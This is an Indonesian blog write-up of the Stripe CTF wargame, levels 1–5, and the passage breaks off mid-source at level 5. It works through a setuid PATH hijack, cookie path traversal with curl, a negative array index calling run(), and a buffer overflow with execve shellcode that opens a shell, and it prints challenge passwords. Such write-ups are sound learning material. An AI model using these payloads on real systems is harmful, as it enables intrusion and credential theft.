Beberapa hari yang lalu stripe membuat
permainan wargames CTF (capture the flag). Dari semua 6 level, di
tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum
berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi
kalau sudah ketemu jawabannya.
Pada intinya di setiap level disediakan
aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan
aplikasi tersebut untuk membaca file password. Oke langsung saja mulai
dari level 1.
Level 01
Seperti petunjuk di blog stripe, untuk
ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan
password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan
petunjuk permainan di level01:
Welcome to the Stripe CTF challenge! Stripe CTF is a wargame, inspired by SmashTheStack I/O[1]. In /home/level02/.password is the SSH password for the level02 user. Your mission, should you choose to accept it, is to read that file. You may find the binary /levels/level01 and its source code /levels/level01.c useful. We've created a scratch directory for you in /tmp. There are a total of 6 levels in this CTF; if you're stuck, feel free to email ctf@stripe.com for guidance.
Goalnya adalah membaca file berisi
password /home/level02/.password yang permissionnya sudah diset hanya
bisa dibaca oleh level02. Jadi bagaimana caranya user level01 bisa
membaca file yang hanya bisa dibaca oleh user level02 ? Disinilah
tantangannya.
Sudah disediakan aplikasi /levels/level01 dengan owner file adalah
level02 dan suid bit diaktifkan, artinya aplikasi ini dijalankan sebagai
(runas) level02. Karena aplikasi ini runas level02, tentu aplikasi ini
punya privilege untuk membaca file password yang kita inginkan.
-r-Sr-x--- 1 level02 level01 8617 2012-02-23 02:31 /levels/level01
Tapi sayangnya aplikasi ini bukan aplikasi yang membaca file, aplikasi ini hanya menampilkan current time saja.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:49 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: Mon Feb 27 14:38:56 UTC 2012 level01@ctf4:/tmp/tmp.jaJ1JT4TIp$
Mungkinkah aplikasi yang menampilkan current time bisa disalahgunakan untuk membaca file? Bila mungkin, bagaimana caranya?
Kalau ditanya mungkinkah, tentu jawabnya mungkin, sebab untuk apa
membuat game CTF yang tidak mungkin dikerjakan, hehe? Oke sekarang
bagaimana caranya? Tentu kita harus mencari bug yang bisa diexploit agar
aplikasi yang tampaknya innocent dan hanya melakukan satu hal
sederhana bisa disalahgunakan. Mari kita lihat source code dari aplikasi
ini.
#include #include int main(int argc, char **argv) { printf("Current time: "); fflush(stdout); system("date"); return 0; }
Aplikasi yang sangat sederhana, hanya terdiri dari 3 pemanggilan fungsi
saja, printf(), fflush() dan system(). Dari ketiga fungsi tersebut
printf() dan fflush() tidak ada masalah, yang mungkin untuk diexploit
tinggal system() karena fungsi ini mengeksekusi shell command.
Fungsi system() mengeksekusi “date”, tentu yang dimaksud oleh
programmernya adalah /bin/date yang menampilkan current time. Tapi dari
mana OS tahu bahwa yang dimaksud adalah /bin/date bila programmernya
hanya menuliskan “date” saja, bukan “/bin/date” ? Jawabannya adalah dari
environment variable PATH.
Bila kita ubah PATH ke direktori lain selain /bin, maka kita bisa
membuat aplikasi tersebut mengeksekusi “date” yang sudah kita siapkan
untuk membaca file, bukan /bin/date yang menampilkan current time
seperti yang diharapkan programmernya.
level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ export PATH=/tmp/tmp.jaJ1JT4TIp:$PATH level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ echo '#!/bin/bash -p > cat /home/level02/.password' > date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ chmod 755 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ ls -l date -rwxr-xr-x 1 level01 level01 43 2012-02-27 14:58 date level01@ctf4:/tmp/tmp.jaJ1JT4TIp$ /levels/level01 Current time: kxlVXUvzv
Setelah PATH variabel disesuaikan dan “date” kita siapkan, aplikasi
/levels/level01 sekarang tidak lagi menampilkan current time, tapi
menampilkan isi file /home/level02/.password. Hal ini bisa terjadi
karena yang dieksekusi fungsi system() bukan /bin/date melainkan
/tmp/tmp.jaJ1JT4TIp/date.
Level 02
Setelah mendapatkan password level02, kita ssh ke level02@ctf.stri.pe.
Lagi-lagi kita disambut dengan ucapan selamat dan petunjuk baru.
Congratulations on making it to level 2! The password for the next level is in /home/level03/.password. This one is a web-based vulnerability, so go ahead and point your browser to http://ctf.stri.pe/level02.php. You'll need to provide the password for level02 using HTTP digest authentication. You can find the source code for level02.php in /var/www/.
Goalnya mirip dengan sebelumnya yaitu membaca file berisi password di
/home/level03/.password. Tapi kali ini agak berbeda karena aplikasinya
adalah web based yang dibuat dengan PHP. PHP script ini dijalankan
sebagai user level03 melalui teknik semacam CGI, jadi seperti kasus
sebelumnya, kita juga harus menyalahgunakan aplikasi PHP ini untuk
membaca file /home/level03/.password.
Mari kita lihat source code aplikasinya:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | <?php function random_string($max = 20){ $chars = "abcdefghijklmnopqrstuvwxwz0123456789"; for($i = 0; $i < $max; $i++){ $rand_key = mt_rand(0, strlen($chars)); $string .= substr($chars, $rand_key, 1); } return str_shuffle($string); } $out = ''; if (!isset($_COOKIE['user_details'])) { $out = "<p>Looks like a first time user. Hello, there!</p>"; $filename = random_string(16) . ".txt"; $f = fopen('/tmp/level02/' . $filename, 'w'); $str = $_SERVER['REMOTE_ADDR']." using ".$_SERVER['HTTP_USER_AGENT']; fwrite($f, $str); fclose($f); setcookie('user_details', $filename); } else { $out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']); } ?> <html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p><?php echo $out ?></p> <?php if (isset($_POST['name']) && isset($_POST['age'])) { echo "You're ".$_POST['name'].", and your age is ".$_POST['age']; } else { ?> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> <?php } ?> </div> </body> </html> |
Bila dalam kasus sebelumnya aplikasinya hanya menampilkan current time
dan tidak membaca file sama sekali, kali ini aplikasi ini melakukan
banyak hal, salah satunya adalah membaca file. Tapi tentu saja file yang
dibaca aplikasi php ini bukanlah file /home/level03/.password yang kita
harapkan.
Pada baris ke-23, aplikasi ini membaca file yang berlokasi di direktori
/tmp/level02/, padahal file yang kita inginkan berada di direktori
/home/level03/. Bagaimana caranya membuat aplikasi yang membaca file di
/tmp/level02/ menjadi membaca file di /home/level03/ ?
Perhatikan lagi baris ke-23, nama file yang akan dibaca diambil dari
COOKIE bernama user_details. Nama file ini kemudian digabungkan dengan
string “/tmp/level02/” sehingga membentuk path lengkap file yang akan
dibaca. Karena COOKIE berasal dari input user dan tidak ada validasi
apapun di aplikasi tersebut, maka user bebas mengisikan nama file apa
saja yang ingin dibaca melalui COOKIE.
Bila COOKIE berisi “abcd.txt”, maka aplikasi akan membaca
“/tmp/level02/abcd.txt”. Namun bagaimana bile COOKIE berisi
“../../etc/passwd” ? Nama file yang akan dibaca menjadi
“/tmp/level02/../../etc/passwd” atau sama saja dengan “/etc/passwd”.
$ curl --cookie "user_details=../../etc/passwd" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false haldaemon:x:103:108:Hardware abstraction layer,,,:/var/run/hald:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:105:109::/var/lib/landscape:/bin/false ubuntu:x:1000:1000:Ubuntu,,,:/home/ubuntu:/bin/bash postfix:x:106:113::/var/spool/postfix:/bin/false level01:x:1001:1002::/home/level01:/bin/bash level02:x:1002:1003::/home/level02:/bin/bash level03:x:1003:1004::/home/level03:/bin/bash level04:x:1004:1005::/home/level04:/bin/bash level05:x:1005:1006::/home/level05:/bin/bash level06:x:1006:1007::/home/level06:/bin/bash the-flag:x:1007:1008::/home/the-flag:/bin/bash </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html>
Sekarang jelas bagaimana cara untuk membaca file lain di luar
/tmp/level02/ yaitu dengan prefix “../../”. Kini kita bisa membaca file
/home/level03/.password dengan COOKIE user_details berisi
“../../home/level03/.password”.
$ curl --cookie "user_details=../../home/level03/.password" --digest --user level02:kxlVXUvzv http://ctf.stri.pe/level02.php
<html> <head> <title>Level02</title> </head> <body> <h1>Welcome to the challenge!</h1> <div class="main"> <p>Or0m4UX07b </p> <form action="#" method="post"> Name: <input name="name" type="text" length="40" /><br /> Age: <input name="age" type="text" length="2" /><br /><br /> <input type="submit" value="Submit!" /> </form> </div> </body> </html>
Kita lanjutkan ke level 3, kali ini tantangannya kembali lagi ke
aplikasi binary dengan goal sama dengan sebelumnya, yaitu membaca file
/home/level04/.password dengan cara menyalahgunakan aplikasi
/levels/level03.
Congratulations on making it to level 3! The password for the next level is in /home/level04/.password. As before, you may find /levels/level03 and /levels/level03.c useful. While the supplied binary mostly just does mundane tasks, we trust you'll find a way of making it do something much more interesting.
Sebelumnya mari kita coba dulu aplikasi /levels/level03.
level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 Usage: ./level03 INDEX STRING Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 0 test Uppercased string: TEST level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 1 test Lowercased string: test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 2 test Capitalized string: Test level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 3 test Length of string 'test': 4 level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 5 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length level03@ctf4:/tmp/tmp.6Ks512x3hh$ /levels/level03 100 test Invalid index. Possible indices: [0] to_upper [1] to_lower [2] capitalize [3] length
Aplikasi ini hanya melakukan operasi sederhana pada string. Dalam
aplikasi ini tidak ada operasi baca file sama sekali, padahal yang kita
inginkan adalah aplikasi ini membaca file /home/level04/.password.
Bagaimanakah caranya?
Berikut ini adalah source code aplikasinya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #define NUM_FNS 4 typedef int (*fn_ptr)(const char *); int to_upper(const char *str) { printf("Uppercased string: "); int i = 0; for (i; str[i]; i++) putchar(toupper(str[i])); printf("\n"); return 0; } int to_lower(const char *str) { printf("Lowercased string: "); int i = 0; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n"); return 0; } int capitalize(const char *str) { printf("Capitalized string: "); putchar(toupper(str[0])); int i = 1; for (i; str[i]; i++) putchar(tolower(str[i])); printf("\n", str); return 0; } int length(const char *str) { int len = 0; for (len; str[len]; len++) {} printf("Length of string '%s': %d\n", str, len); return 0; } int run(const char *str) { // This function is now deprecated. return system(str); } int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); } int main(int argc, char **argv) { int index; fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; if (argc != 3) { printf("Usage: ./level03 INDEX STRING\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } // Parse supplied index index = atoi(argv[1]); if (index >= NUM_FNS) { printf("Invalid index.\n"); printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); printf("[2] capitalize\t[3] length\n"); exit(-1); } return truncate_and_call(fns, index, argv[2]); } |
Ada beberapa kelemahan dalam aplikasi ini. Pertama adalah pemakaian
function pointer. Pemakaian function pointer bila tidak hati-hati bisa
dieksploitasi untuk mengeksekusi function/code lain yang tidak
diharapkan programmernya.
Aplikasi ini tidak secara langsung memanggil nama fungsi, tapi melalui
kumpulan function pointer yang disimpan dalam array bernama fns (lihat
baris ke-68). Array fns ini menyimpan alamat dari fungsi to_upper() di
index [0], alamat fungsi to_lower() di index [1], alamat fungsi
capitalize() di index [2] dan alamat fungsi length() di index[3] terurut
sesuai index dalam array sehingga bila user memasukkan index 0, maka
fungsi yang dipanggil adalah to_upper(), bila index 1, maka yang
dipanggil adalah fungsi to_lower() dan seterusnya.
Array index out of bounds
Pada baris ke-80, ada pengecekan/validasi index, bila index >= 4,
maka program akan menampilkan pesan errror kemudian exit(). Validasi ini
mencegah pengaksesan array fns dengan index >= 4 karena batas atas
index array fns adalah 3.
Namun validasi ini tidak sempurna karena hanya membatasi index di batas
atas saja, sedangkan batas bawahnya tidak di batasi. Batas bawah index
array fns seharusnya adalah 0, tapi validasi ini tidak mencegah bila
index yang dimasukkan < 0 (index negatif).
Negative index array
Mungkinkah ada array dengan index negative ? Dalam bahasa C, array tidak
lebih hanyalah pointer saja, dan index array hanya berfungsi sebagai
offset.
Karena fns adalah array of function pointer, setiap kotak index di
gambar di atas mengandung alamat memori code yang nanti akan dieksekusi
bila dipanggil (dalam low levelnya adalah instruksi CALL ke alamat
tersebut). Kotak index[0] berisi alamat to_upper(), index[1] berisi
alamat to_lower(), index[2] berisi alamat capitalize() dan index[3]
berisi alamat length(). Lalu index[4], index[-1] dan index[-2] berisi
alamat fungsi apa?
index[-1], index[-2] dan index[4] sebenarnya isinya tidak terdefinisi,
jadi bisa berisi data apa saja yang kebetulan lokasinya berdampingan
dengan array fns. Bisa jadi isinya adalah isi dari variabel lain di
memori.
Cara 1
Pada percobaan pertama saya mencoba menginjeksi shellcode dan membuat
fns merujuk pada alamat shellcode tersebut berada dengan index array
negatif, sehingga shellcode tersebut akan dieksekusi. Shellcode nantinya
akan saya injeksi sebagai input string (argv[2]).
Bagaimana saya tahu shellcode nanti akan disimpan di alamat mana? Karena
adanya ASLR (address space layout randomization), maka lokasi shellcode
sulit diprediksi. Oleh karena itu saya memakai teknik CALL EAX. Dalam
fungsi truncate_and_call() ada pemanggilan fungsi strncpy(), return dari
strncpy() adalah address of buf, sehingga dijamin register EAX akan
berisi alamat buf setelah strncpy() selesai.
int truncate_and_call(fn_ptr *fns, int index, char *user_string) { char buf[64]; // Truncate supplied string strncpy(buf, user_string, sizeof(buf) - 1); buf[sizeof(buf) - 1] = '\0'; return fns[index](buf); }
Setelah EAX dijamin merujuk pada buf, maka kita tinggal mencari lokasi
memori yang mengandung instruksi CALL EAX (karena EAX = address of buf,
maka CALL EAX = execute shellcode in buf).
$ objdump -d /levels/level03|grep call|grep eax 8048598: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 80485df: ff d0 call *%eax 804892b: ff d0 call *%eax
Saya ambil salah satu saja, yaitu call eax di 0x0804892b. Ini adalah
alamat dari fungsi “call eax” (agar lebih mudah kita anggap saja ini
sebuah fungsi bernama “call eax”). Alamat “call eax” ini statik, tidak
ikut terpengaruh oleh ASLR, jadi bisa dipastikan dengan mudah.
Kita simpan dulu saja alamat fungsi “call eax” ini. Kita lihat dulu
bagaimana payload yang akan kita injeksi. Payload ini berisi
shellcode+alamat fungsi “call eax”. Shellcode yang saya pakai adalah
shellcode yang pernah saya bahas di artikel saya tentang membuat shellcode untuk local exploit. Shellcode ini ukurannya 35 byte.
Jadi payload yang akan diinjeksi adalah:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08
35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang
hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi
36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload
tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte
(tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan
berapa index array fns yang akan dipakai?
Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.
Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk
pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19]
merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat
fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(),
fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi
“call eax”.
Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum
mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode,
sehingga CALL EAX = CALL SHELLCODE.
Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.
Ternyata penyebabnya adalah non-executable stack:
$ readelf -l /levels/level03 |grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 $ fvvvvv
Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.
Cara 2
Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan
RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada
function run() yang isinya adalah memanggil fungsi system(). Fungsi ini
ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan
dalam kumpulan function pointer di array fns seperti to_upper(),
to_lower(), capitalize() dan length().
int run(const char *str) { // This function is now deprecated. return system(str); }
Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap
saja sebagai sebuah function, run() tetap memiliki alamat.
level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>' 0804875b <run>:
Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b.
Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif,
fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim
sebagai argument program (argv[2]) adalah:
cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08
Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4
byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line
sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload
panjangnya 36 (kelipatan 4).
$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20, user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b") at level03.c:62 (gdb) x/12xw &buf 0xffb23f8c: 0x20746163 0x6d6f682f 0x656c2f65 0x306c6576 0xffb23f9c: 0x702e2f34 0x77737361 0x0a64726f 0x230a0a0a 0xffb23fac: 0x0804875b 0x00000000 0x00000000 0x00000000 (gdb) p &fns[-20] $1 = (fn_ptr *) 0xffb23fac (gdb) p *(fns[-20]) $2 = {int (const char *)} 0x804875b <run>
Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 =
“cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada
alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”).
Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi
dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam
kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas
adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().
Seperti yang lainnya juga, bila user memasukkan index 0, maka yang
dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka
yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini
user memasukkan index -20, maka yang dipanggil adalah fungsi run().
$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")" i5cBbPvPCpcP
Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.
Level 04
Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus
menyalahgunakan aplikasi /levels/level04 untuk membaca file
/home/level05/.password
Congratulations on making it to level 4! The password for the next level is in /home/level05/.password. As before, you may find /levels/level04 and /levels/level04.c useful. The vulnerabilities overfloweth!
Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100') Reading symbols from /levels/level04...(no debugging symbols found)...done. (gdb) r Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch). Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
Source code dari aplikasi ini adalah:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <string.h> #include <stdlib.h> void fun(char *str) { char buf[1024]; strcpy(buf, str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: ./level04 STRING"); exit(-1); } fun(argv[1]); printf("Oh no! That didn't work!\n"); return 0; } |
Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy()
menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang
panjangnya terbatas hanya 1024.
Kita gunakan pattern_create dan pattern_offset dari metasploit untuk
menentukan dimana posisi return address. Dengan pattern_offset berhasil
diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan
mengetahui offset ini payload yang akan kita kirim komposisinya adalah:
[1036 byte shellcode + lain2] + [4 byte return address]
Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus
return? Kita harus menentukan return address agar shellcode kita
tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?
Ternyata alamat stack pointer berubah-ubah, artinya mesin ini
mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita
menentukan return address, sehingga kita harus menggunakan teknik yang
sama seperti di level sebelumnya, yaitu teknik CALL EAX.
Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada
fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf
setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi
buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf =
CALL shellcode.
$ objdump -d /levels/level04|grep call |grep eax 8048438: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 804847f: ff d0 call *%eax 804857b: ff d0 call *%eax
Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax,
yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini
statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai
return address. Sama seperti level sebelumnya, kita memakai shellcode
yang panjangnya 35 byte yang kita posisikan di awal buf.
Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk
shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya
sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte
(\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini
payload kita menjadi:
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"
Sekarang payload sudah siap, bisa langsung kita coba.
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami level04 level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"') $ whoami level05 $ cat /home/level05/.password fzfDGnSmd317
Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.
Congratulations on making it to level 5! You're almost done! The password for the next (and final) level is in /home/level06/.password. As it turns out, level06 is running a public uppercasing service. You can POST data to it, and it'll uppercase the data for you: curl localhost:9020 -d 'hello friend' { "processing_time": 5.0067901611328125e-06, "queue_time": 0.41274619102478027, "result": "HELLO FRIEND" } You can view the source for this service in /levels/level05. As you can see, the service is structured as a queue server and a queue worker. Could it be that this seemingly innocuous service will be level06's downfall?
Source code aplikasi ini adalah:
#!/usr/bin/env python import logging import json import optparse import os import pickle import random import re import string import sys import time import traceback import urllib from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer LOGGER_NAME = 'queue' logger = logging.getLogger(LOGGER_NAME) logger.addHandler(logging.StreamHandler(sys.stderr)) TMPDIR = '/tmp/level05' class Job(object): QUEUE_JOBS = os.path.join(TMPDIR, 'jobs') QUEUE_RESULTS = os.path.join(TMPDIR, 'results') def __init__(self): self.id = self.generate_id() self.created = time.time() self.started = None self.completed = None def generate_id(self): return ''.join([random.choice(string.ascii_letters) for i in range(20)]) def job_file(self): return os.path.join(self.QUEUE_JOBS, self.id) def result_file(self): return os.path.join(self.QUEUE_RESULTS, self.id) def start(self): self.started = time.time() def complete(self): self.completed = time.time() class QueueUtils(object): @staticmethod def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job @staticmethod def serialize(direction, data, job): serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) logger.debug('Serialized to: %r' % serialized) return serialized @staticmethod def enqueue(type, data, job): logger.info('Writing out %s data for job id %s' % (type, job.id)) if type == 'JOB': file = job.job_file() elif type == 'RESULT': file = job.result_file() else: raise ValueError('Invalid type %s' % type) serialized = QueueUtils.serialize(type, data, job) with open(file, 'w') as f: f.write(serialized) f.close() class QueueServer(object): # Called in server def run_job(self, data, job): QueueUtils.enqueue('JOB', data, job) result = self.wait(job) if not result: result = (None, 'Job timed out', None) return result def wait(self, 